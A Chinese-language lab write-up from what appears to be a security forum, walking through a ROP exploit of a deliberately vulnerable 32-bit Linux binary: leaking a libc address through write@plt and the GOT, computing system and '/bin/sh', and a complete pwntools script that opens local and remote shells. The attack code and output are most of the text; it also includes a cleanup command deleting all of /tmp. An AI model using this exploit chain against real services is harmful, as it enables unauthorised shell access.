-
-
[原创]《linux x86 缓冲区溢出》level3: 简单的缓冲区溢出 通过ROP绕过DEP和ASLR防护
-
2023-12-30 11:14 6101
-
《linux x86 缓冲区溢出》level3: 简单的缓冲区溢出 通过ROP绕过DEP和ASLR防护
0x00 参考
这里继续参考郑敏老师的文章: 《一步一步学ROP之linux_x86篇》
0x01 准备工作
打开ASLR和DEP保护。
1 2 | sudo -s echo 2 > /proc/sys/kernel/randomize_va_space |
启用DEP保护,gcc编译时去掉-z execstack
选项即可。
gcc -m32 -fno-stack-protector -o level3 level3.c
随机化的基地址
以下是多次运行level3时的maps情况。
第一次
1 2 3 4 5 6 7 8 9 10 11 12 | $ cat /proc/22020/maps 56652000-56653000 r--p 00000000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 56653000-56654000 r-xp 00001000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 56654000-56655000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 56655000-56656000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 56656000-56657000 rw-p 00003000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 f7c00000-f7c20000 r--p 00000000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7c20000-f7da2000 r-xp 00020000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7da2000-f7e27000 r--p 001a2000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7e27000-f7e28000 ---p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7e28000-f7e2a000 r--p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7e2a000-f7e2b000 rw-p 00229000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 |
第二次
1 2 3 4 5 6 7 8 9 10 11 12 | $ cat /proc/21900/maps 5659c000-5659d000 r--p 00000000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 5659d000-5659e000 r-xp 00001000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 5659e000-5659f000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 5659f000-565a0000 r--p 00002000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 565a0000-565a1000 rw-p 00003000 08:03 1051934 /home/dbg/Desktop/rop/level3/level3 f7c00000-f7c20000 r--p 00000000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7c20000-f7da2000 r-xp 00020000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7da2000-f7e27000 r--p 001a2000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7e27000-f7e28000 ---p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7e28000-f7e2a000 r--p 00227000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 f7e2a000-f7e2b000 rw-p 00229000 08:03 5117709 /usr/lib/i386-linux-gnu/libc .so.6 |
时过境迁当年参考文章是14年左右制作的有些情况有所不同,可以看出在x64的32位进程的随机化和参考上的正好相反,程序地址随机化了而libc确实固定的,我猜测应该是x64环境的问题。
而x64版本下确截然不同
第一次
1 2 3 4 5 6 7 8 9 10 11 | $ cat /proc/22133/maps 563a0f3e5000-563a0f3e6000 r--p 00000000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 563a0f3e6000-563a0f3e7000 r-xp 00001000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 563a0f3e7000-563a0f3e8000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 563a0f3e8000-563a0f3e9000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 563a0f3e9000-563a0f3ea000 rw-p 00003000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 7f7f27e00000-7f7f27e28000 r--p 00000000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f7f27e28000-7f7f27fbd000 r-xp 00028000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f7f27fbd000-7f7f28015000 r--p 001bd000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f7f28015000-7f7f28019000 r--p 00214000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f7f28019000-7f7f2801b000 rw-p 00218000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 |
第二次
1 2 3 4 5 6 7 8 9 10 11 | $ cat /proc/22240/maps 564fb2efa000-564fb2efb000 r--p 00000000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 564fb2efb000-564fb2efc000 r-xp 00001000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 564fb2efc000-564fb2efd000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 564fb2efd000-564fb2efe000 r--p 00002000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 564fb2efe000-564fb2eff000 rw-p 00003000 08:03 1051594 /home/dbg/Desktop/rop/level3/level3 7f0218800000-7f0218828000 r--p 00000000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f0218828000-7f02189bd000 r-xp 00028000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f02189bd000-7f0218a15000 r--p 001bd000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f0218a15000-7f0218a19000 r--p 00214000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 7f0218a19000-7f0218a1b000 rw-p 00218000 08:03 4589670 /usr/lib/x86_64-linux-gnu/libc .so.6 |
可以看出x64版本的程序,程序本身和libc都随机化了。
如果想上面32位程序地址随机,而libc不随机化,这个情况用level2的pwn完全可以利用。
0x02 信息泄漏
固定的程序基地址
通过以上分析和实验,证实了程序本身的基地址是也是随机化的。
为了得到固定的基地址,这里从gcc编译器下手。
gcc -m32 -Wl,-Ttext-segment=0x08000000 -fno-stack-protector -o level3 level3.c
这样程序就有了一个固定的基地址了。
如下:
1 2 3 4 5 | 0x08000000 0x08001000 r--p /home/dbg/Desktop/rop/level3/level3 0x08001000 0x08002000 r-xp /home/dbg/Desktop/rop/level3/level3 0x08002000 0x08003000 r--p /home/dbg/Desktop/rop/level3/level3 0x08003000 0x08004000 r--p /home/dbg/Desktop/rop/level3/level3 0x08004000 0x08005000 rw-p /home/dbg/Desktop/rop/level3/level3 |
有了固定的基地址我们就有了参照。从程序本身着手来泄漏出一些信息;
因为libc基地址也是固定的,这里我们还要假象libc地址是随机的。
这里还是要找到system函数地址和"/bin/sh"的内存地址,然后就是ret2libc技术了,要想找到关键的地址首先要确定libc的基地址,然后根据偏移动态的计算这些地址。那么如何泄露出libc的地址呢?
PLT 和 GOT
其实就是动态链接技术,就像程序需要依赖系统动态链接库一样。windows通过导入表来描述用到的系统API,而linux则是通过PLT和GOT来实现动态链接。
详细细节可以参考 动态链接中PLT与GOT工作流程
查看PLT表
命令:
objdump -d -j .plt level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | └─ # objdump -d -j .plt level3 level3: file format elf32-i386 Disassembly of section .plt: 08001030 <__libc_start_main@plt-0x10>: 8001030: ff b3 04 00 00 00 push 0x4(%ebx) 8001036: ff a3 08 00 00 00 jmp *0x8(%ebx) 800103c: 00 00 add %al,(%eax) ... 08001040 <__libc_start_main@plt>: 8001040: ff a3 0c 00 00 00 jmp *0xc(%ebx) 8001046: 68 00 00 00 00 push $0x0 800104b: e9 e0 ff ff ff jmp 8001030 <_init+0x30> 08001050 < read @plt>: 8001050: ff a3 10 00 00 00 jmp *0x10(%ebx) 8001056: 68 08 00 00 00 push $0x8 800105b: e9 d0 ff ff ff jmp 8001030 <_init+0x30> 08001060 <write@plt>: 8001060: ff a3 14 00 00 00 jmp *0x14(%ebx) 8001066: 68 10 00 00 00 push $0x10 800106b: e9 c0 ff ff ff jmp 8001030 <_init+0x30> |
查看GOT表
命令:
objdump -R level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | └─ # objdump -R level3 level3: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08003ed4 R_386_RELATIVE *ABS* 08003ed8 R_386_RELATIVE *ABS* 08003ff8 R_386_RELATIVE *ABS* 08004004 R_386_RELATIVE *ABS* 08003fec R_386_GLOB_DAT _ITM_deregisterTMCloneTable@Base 08003ff0 R_386_GLOB_DAT __cxa_finalize@GLIBC_2.1.3 08003ff4 R_386_GLOB_DAT __gmon_start__@Base 08003ffc R_386_GLOB_DAT _ITM_registerTMCloneTable@Base 08003fe0 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.34 08003fe4 R_386_JUMP_SLOT read @GLIBC_2.0 08003fe8 R_386_JUMP_SLOT write@GLIBC_2.0 |
write的动态调用过程
程序如何调用libc中的函数。
- 当程序运行时系统的loader会将GOT表填充完整。
- 调用这些函数时call PLT表中的xxx@plt函数。
- PTL中是一个简单的跳转,从GOT表中取出函数地址,然后jmp过去。
例如调用write函数
1 2 3 4 5 6 7 8 | 0x8001206 <main+36>: lea eax,[ebx-0x1fcc] 0x800120c <main+42>: push eax 0x800120d <main+43>: push 0x1 => 0x800120f <main+45>: call 0x8001060 <write@plt> 0x8001214 <main+50>: add esp,0x10 0x8001217 <main+53>: mov eax,0x0 0x800121c <main+58>: lea esp,[ebp-0x8] 0x800121f <main+61>: pop ecx |
当调用write函数时,现call <write@plt>
<main+45>: call 0x8001060 <write@plt>
在看一看 0x8001060 具体实现,命令行 disassemble 0x8001060
1 2 3 4 5 6 | gdb-peda$ disassemble 0x8001060 Dump of assembler code for function write@plt: 0x08001060 <+0>: jmp DWORD PTR [ebx+0x14] 0x08001066 <+6>: push 0x10 0x0800106b <+11>: jmp 0x8001030 End of assembler dump. |
可以看出是取了某个直然后跳转。接下来看看这个直是个啥。。
1 2 3 4 5 6 7 8 9 10 11 | gdb-peda$ p /x $ebx+0x14 $1 = 0x8003fe8 gdb-peda$ x /4xw $1 0x8003fe8 <write@got.plt>: 0xf7d0a270 0x00000000 0xf7c3a760 0x00000000 gdb-peda$ disassemble 0xf7d0a270 Dump of assembler code for function __GI___libc_write: 0xf7d0a270 <+0>: endbr32 0xf7d0a274 <+4>: push edi 0xf7d0a275 <+5>: push esi 0xf7d0a276 <+6>: call 0xf7d71e35 <__x86.get_pc_thunk.si> 0xf7d0a27b <+11>: add esi,0x11fd85 |
通过以上几步操作,可以确定最终执行了__GI___libc_write
函数。
原理
- 首先是完成信息泄漏,来泄漏某些libc的函数地址。
- 根据libc文件中函数的偏移,间接确定libc在内存中的基地址。
- 根据libc的地址,算出system函数和'/bin/sh'字符串的地址;接下来就降维到level2的ret2libc的利用了。
内存泄漏实现
我们通过观察有个wrtie函数,我们代码中也能看到,这个函数可以输出到标准输出,可以打印出来。
利用write的输出功能可以将某些函数的地址泄漏出来。
泄漏初试
已知程序基地址固定,PLT和GOT表的偏移固定,利用PLT中的write函数将系统libc中的函数地址打印出来。这里可选择 read printf write 。我选择write。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | # 08001060 <write@plt>: # 8001060: ff a3 14 00 00 00 jmp *0x14(%ebx) # 8001066: 68 10 00 00 00 push $0x10 # 800106b: e9 c0 ff ff ff jmp 8001030 <_init+0x30> # 上面还要关注以下ebx的来源。 plt_write = 0x08001060 # 0x8003fe8 <write@got.plt>: 0xf7d0a270 0x00000000 0xf7c3a760 0x00000000 got_write = 0x8003fe8 # 0x80011ad <vulnerable_function>: push ebp vul = 0x80011ad # write(STDOUT_FILENO, "Hello, World\n", 13); 还得注意write的函数约定 |
通过以上的信息收集我们已经获取了几个关键直然后拼接payload
140 nop | write | write 返回地址 | write函数参数1 | write函数参数2 | write函数参数3 |
---|---|---|---|---|---|
'A'*140 | p32(plt_write) | p32(vul) | p32(1) | p32(got_write) | p32(4) |
有人会问这里还要用vul地址吗?
泄漏完数据了,还要再次触发有漏洞的函数才能继续接受第二阶段的payload最终执行bin/sh。
所以要作为write函数的返回地址,再次。。。,
1 | payload = 'A' * 140 + p32(plt_write) + p32(vul) + p32( 1 ) + p32(got_write) + p32( 4 ) |
测试代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | from pwn import * vul = 0x80011ad plt_write = 0x08001060 got_write = 0x08003fe8 p = process( './level3' ) payload = 'A' * 140 + p32(plt_write) + p32(vul) + p32( 1 ) + p32(got_write) + p32( 4 ) p.send(payload) write_addr = u32(p.recv( 4 , 300 )) print ( 'write_addr=' + hex (write_addr)) |
发现无法获取到泄漏的的数据,应该是payload没有正常执行,测试如下
1 2 3 4 | [ + ] Starting local process './level3' : pid 25302 Traceback (most recent call last): File "level3-pwn.py" , line 17 , in <module> write_addr = u32(p.recv( 4 , 300 )) |
修正plt跳转中的ebx(ptl_table)
老办法core dump。
ulimit -s unlimited
#不限制dump大小
1 2 | sudo - s echo '/tmp/core.%t' > / proc / sys / kernel / core_pattern #设置core dump文件路径格式 |
1 | rm - rf / tmp / * #清空下tmp |
再次执行pwn,报错产生dump文件。
gdb 带dump文件调试level3
1 2 3 4 5 6 7 8 9 10 11 | ┌── dbg @ dbg-pro in ~ /Desktop/rop/level3 [8:48:19] C:1 └─ # gdb -q -ex init-peda "$@" ./level3 /tmp/core.1699926499.25606 Reading symbols from . /level3 ... (No debugging symbols found in . /level3 ) [New LWP 25606] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . Core was generated by `. /level3 '. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x08001060 in write@plt () gdb-peda$ |
通过gdb调试发现是执行到 0x08001060 in write@plt ()
出问题了。
1 2 3 4 5 6 7 8 9 | gdb-peda$ disassemble 0x08001060 Dump of assembler code for function write@plt: => 0x08001060 <+0>: jmp DWORD PTR [ebx+0x14] 0x08001066 <+6>: push 0x10 0x0800106b <+11>: jmp 0x8001030 End of assembler dump. gdb-peda$ p /x $ebx $1 = 0x41414141 gdb-peda$ |
通过观察read的调用和write的调用,这个ebx应该是某个表的地址,这里我叫他plt table.
可以看到应该是 jmp DWORD PTR [ebx+0x14]
这一步时,取函数地址时,ebx的直不对,造成了读取错误,程序崩溃。
既然ebx不对,并且是0x41414141,也就是‘AAAA’,看来是可控的,如果修正到正确直应该就能解决问题。
下面来看看vul函数的结束位置,ebx如何赋值的。
1 2 3 | 0x80011dd <vulnerable_function+48>: mov ebx,DWORD PTR [ebp-0x4] => 0x80011e0 <vulnerable_function+51>: leave 0x80011e1 <vulnerable_function+52>: ret |
从栈中ebp-0x4取值,看看这个位置具体地址,然后计算和ret的偏移。
1 2 | gdb-peda$ p /x $ebp-0x04 $3 = 0xffffd074 |
上面是plt_table在栈中的位置
1 2 3 4 5 6 7 | => 0x80011e1 <vulnerable_function+52>: ret 0x80011e2 <main>: lea ecx,[esp+0x4] 0x80011e6 <main+4>: and esp,0xfffffff0 0x80011e9 <main+7>: push DWORD PTR [ecx-0x4] 0x80011ec <main+10>: push ebp [------------------------------------stack-------------------------------------] 0000| 0xffffd07c --> 0x8001201 (<main+31>: sub esp,0x4) |
这是ret在栈的位置。0000| 0xffffd07c
1 2 | gdb-peda$ p /x 0xffffd07c - 0xffffd074 $4 = 0x8 |
偏移为 8 。
获取ebx(plt_table)的地址。0x8003fd4
1 2 | gdb-peda$ p $ebx $2 = 0x8003fd4 |
再次泄漏
通过上面的调试,得知了plt_table的重要性,下面对payload进行调整。
132 nop | plt_tab | 4 nop | write | write 返回地址 | write函数参数1 | write函数参数2 | write函数参数3 |
---|---|---|---|---|---|---|---|
'A'*132 | p32(plt_tab) | 'A'*4 | p32(plt_write) | p32(vul) | p32(1) | p32(got_write) | p32(4) |
测试pwn代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #!python #!/usr/bin/env python from pwn import * vul = 0x080011ad plt_write = 0x08001060 got_write = 0x08003fe8 plt_tab = 0x08003fd4 p = process( './level3' ) payload = 'A' * ( 140 - 8 ) + p32(plt_tab) + 'A' * 4 + p32(plt_write) + p32(vul) + p32( 1 ) + p32(got_write) + p32( 4 ) p.send(payload) write_addr = u32(p.recv( 4 , 300 )) print ( 'write_addr=' + hex (write_addr)) |
测试结果
1 2 3 4 | └─ # python2 level3-pwn.py [ + ] Starting local process './level3' : pid 26292 write_addr = 0xf7d0a270 [ * ] Stopped process './level3' (pid 26292 ) |
计算system函数和'/bin/sh'字符串地址
既然知道了 write函数在内存中的位置,本地的libc文件也有,那么就可以计算这些地址了。
把libc文件copy到当前文件夹。
1 2 3 4 5 6 7 8 | ┌── dbg @ dbg-pro in ~ /Desktop/rop/level3 [9:23:17] └─ # ldd level3 linux-gate.so.1 (0xf7f21000) libc.so.6 => /lib/i386-linux-gnu/libc .so.6 (0xf7c00000) /lib/ld-linux .so.2 (0xf7f23000) ┌── dbg @ dbg-pro in ~ /Desktop/rop/level3 [9:23:25] └─ # cp /lib/i386-linux-gnu/libc.so.6 ./ |
计算地址方法如下
1 2 3 4 5 6 | libc = ELF( 'libc.so.6' ) system_addr = write_addr - (libc.symbols[ 'write' ] - libc.symbols[ 'system' ]) print ( 'system_addr= ' + hex (system_addr)) binsh_addr = write_addr - (libc.symbols[ 'write' ] - next (libc.search( '/bin/sh' ))) print ( 'binsh_addr= ' + hex (binsh_addr)) |
有了这些信息,第二阶的payload和利用技术ret2lib,就和level2的一样了,这里就不赘述了。直接看pwn代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #!python #!/usr/bin/env python from pwn import * libc = ELF( 'libc.so.6' ) paddr = 0x08000000 # print ( "addr :" + hex (paddr) ) vul = 0x080011ad print ( "vul :" + hex (vul)) plt_write = 0x08001060 print ( "plt_write :" + hex (plt_write)) got_write = 0x08003fe8 print ( "got_write :" + hex (got_write)) plt_tab = 0x08003fd4 print ( "plt_table :" + hex (plt_tab)) payload = 'A' * ( 140 - 8 ) + p32(plt_tab) + 'B' * 4 + p32(plt_write) + p32(vul) + p32( 1 ) + p32(got_write) + p32( 4 ) #p = remote('127.0.0.1',10001) p = process( './level3' ) print ( "#### send payload 1" ) p.send(payload) print ( "#### recv write addr ..." ) write_addr = u32(p.recv( 4 , 300 )) print ( 'write_addr=' + hex (write_addr)) system_addr = write_addr - (libc.symbols[ 'write' ] - libc.symbols[ 'system' ]) print ( 'system_addr= ' + hex (system_addr)) binsh_addr = write_addr - (libc.symbols[ 'write' ] - next (libc.search( '/bin/sh' ))) print ( 'binsh_addr= ' + hex (binsh_addr)) payload2 = 'a' * 140 + p32(system_addr) + 'a' * 4 + p32(binsh_addr) print ( "\n###sending payload2 ...###" ) p.send(payload2) p.interactive() |
测试如下!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | ┌── dbg @ dbg-pro in ~ /Desktop/rop/level3 [9:33:01] └─ # python2 level3-pwn.py [!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/dbg/Desktop/rop/level3/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled addr :0x8000000 vul :0x80011ad plt_write :0x8001060 got_write :0x8003fe8 plt_table :0x8003fd4 [+] Starting local process './level3' : pid 26763 #### send payload 1 #### recv write addr ... write_addr=0xf7d0a270 system_addr= 0xf7c48170 binsh_addr= 0xf7dbd0f5 ###sending payload2 ...### [*] Switching to interactive mode $ id uid=1000(dbg) gid=1000(dbg) groups =1000(dbg),4(adm),24(cdrom),27( sudo ),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare) $ whoami dbg $ q /bin/sh : 3: q: not found $ |
代码稍作修改远程利用也不再话下!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | [+] Opening connection to 127.0.0.1 on port 10001: Done #### send payload 1 #### recv write addr ... write_addr=0xf7d0a270 system_addr= 0xf7c48170 binsh_addr= 0xf7dbd0f5 ###sending payload2 ...### [*] Switching to interactive mode $ id uid=0(root) gid=0(root) groups =0(root) $ whoami root $ |
!END
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。